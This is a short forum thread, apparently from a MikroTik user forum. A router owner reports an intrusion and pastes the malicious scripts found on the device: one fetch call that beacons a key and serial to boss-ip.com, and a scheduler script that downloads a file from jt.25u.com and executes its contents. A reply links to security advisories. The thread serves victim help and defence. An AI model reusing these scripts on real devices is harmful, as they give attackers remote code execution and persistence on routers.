noticed an unauthorized connect to my router, did a ‘export compact’ and saw some recent scripts added, along with scheduler…sucks!
This was the script…not sure what it does though…
{/tool fetch url=(“http://www.boss-ip.com/Core/Update.ashx?key=5bc24d5c0d21bf27&action=upload&sncode=AADA5F53AB769B63F745B2ABCEC1193A&dynamic=static”) keep-result=no}
Any advice would be overly welcome.
thank you 
Well, follow this advice for update and password change, proper firewall, etc.:
http://forum.mikrotik.com/t/urgent-security-advisory/117944/1
http://forum.mikrotik.com/t/advisory-vulnerability-exploiting-the-winbox-port-solved/118771/1
Also this was in the scheduler, any ideas why the attackers would be fetching this???
:if ([/file find name=autosupout1.rif]=“”) do={
:local ssip [:resolve jt.25u.com server=8.8.8.8]
/tool fetch url=“http://:81$ssip/autosupout1.rif” dst-path=autosupout1.rif
}
execute [/file get autosupout1.rif contents]
It seems that prepared autosupport1.rif is loaded.